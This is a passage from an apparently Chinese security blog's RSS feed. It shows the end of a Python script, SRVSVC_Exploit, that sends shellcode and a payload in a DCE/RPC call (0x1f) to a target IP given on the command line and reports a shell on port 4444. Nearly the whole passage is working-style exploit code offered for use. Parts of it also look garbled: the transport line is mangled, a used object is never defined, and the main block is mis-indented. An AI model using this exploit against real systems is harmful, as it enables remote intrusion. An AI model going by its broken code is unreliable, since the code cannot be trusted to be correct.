plain">port </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>086</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.target&nbsp;&nbsp; </code><code class="python keyword">=</code> <code class="python plain">target </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>087</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python keyword">def</code> <code class="python plain">__DCEPacket(</code><code class="python color1">self</code><code class="python plain">): </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>088</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python functions">print</code> <code class="python string">'[-]Connecting'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>089</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__trans </code><code class="python keyword">=</code> <code class="python plain">rdp.transport.cert(</code><code class="python string">'rdp_np:%s\\x00\\x89]'</code> <code class="python keyword">%</code> <code class="python color1">self</code><code class="python plain">.target) </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>090</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__trans.connect() </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>091</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python functions">print</code> <code class="python string">'[-]connected'</code> <code class="python keyword">%</code> <code class="python color1">self</code><code class="python plain">.target </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>092</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python comments"># Making teh packet </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>093</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">=</code><code class="python string">'\x01\x00\x00\x00'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>094</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>095</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python plain">shellcode </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>096</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\x41\x41\x41\x41\x41\x41\x41\x41'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>097</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\x41\x41\x41\x41\x41\x41\x41\x41'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>098</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\x41\x41\x41\x41\x41\x41\x41\x41'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>099</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\x41\x41\x41\x41\x41\x41\x41\x41'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>100</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\x41\x41\x41\x41\x41\x41\x41\x41'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>101</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\x41\x41\x41\x41\x41\x41\x41\x41'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>102</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\x41\x41\x41\x41\x41\x41\x41\x41'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>103</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\x41\x41\x41\x41\x41\x41\x41\x41'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>104</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\x00\x00\x00\x00'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>105</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>106</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python plain">payload </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>107</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\x00\x00\x00\x00'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>108</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\x02\x00\x00\x00\x02\x00\x00\x00'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>109</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\x00\x00\x00\x00\x02\x00\x00\x00'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>110</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\x5c\x00\x00\x00\x01\x00\x00\x00'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>111</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__stub</code><code class="python keyword">+</code><code class="python keyword">=</code><code class="python string">'\x01\x00\x00\x00\x90\x90\xb0\x53\x6b\xC0\x28\x03\xd8\xff\xd3'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>112</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python keyword">return</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>113</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python keyword">def</code> <code class="python plain">run(</code><code class="python color1">self</code><code class="python plain">): </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>114</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__DCEPacket() </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>115</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__dce.call(</code><code class="python value">0x1f</code><code class="python plain">, </code><code class="python color1">self</code><code class="python plain">.__stub) </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>116</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python functions">print</code> <code class="python string">'[-]Exploit successfull!...\nTelnet to port 4444 on target machine.'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>117</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python keyword">if</code> <code class="python plain">__name__ </code><code class="python keyword">=</code><code class="python keyword">=</code> <code class="python string">'__main__'</code><code class="python plain">: </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>118</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python plain">target </code><code class="python keyword">=</code> <code class="python plain">sys.argv[</code><code class="python value">1</code><code class="python plain">] </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>119</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python functions">print</code> <code class="python string">'\nUsage: %s &lt;target ip&gt; \n'</code> <code class="python keyword">%</code> <code class="python plain">sys.argv[</code><code class="python value">0</code><code class="python plain">] </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>120</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python plain">sys.exit(</code><code class="python keyword">-</code><code class="python value">1</code><code class="python plain">) </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>121</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">current </code><code class="python keyword">=</code> <code class="python plain">SRVSVC_Exploit(target) </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>122</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">current.start()</code></span></td>        </tr>    </tbody></table></div></div></div><p><span style="color: rgb(0,128,128)"><br /></span></p><p>&nbsp;</p><div>&nbsp;</div>]]></description><category>网络安全</category><comments>http://www.si1ence.cn/wangluoanquan/386/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=386</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=386&amp;key=0477a437</trackback:ping></item></channel></rss>

